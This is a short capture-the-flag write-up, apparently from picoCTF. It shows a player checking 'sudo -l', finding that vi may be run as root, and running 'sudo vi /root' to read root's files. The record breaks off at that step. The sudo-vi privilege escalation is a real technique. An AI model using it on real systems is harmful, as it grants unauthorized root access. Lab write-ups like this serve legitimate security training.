Can you read files in the root file?
Nothing of interest in the users home folder and we don't have permission to list the contents of /root' :
$ ls /root
ls: cannot open directory '/root': Permission denied
Suggesting we may need sudo, lets see what is available to us :
$ picoplayer@challenge:~$ sudo -l
[sudo] password for picoplayer:
Matching Defaults entries for picoplayer on challenge:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User picoplayer may run the following commands on challenge:
(ALL) /usr/bin/vi
vi may be run as a superuser via sudo, so we'll run it using the following command to show us a directory listing of /root as we don't its contents as yet :
$ sudo vi /root
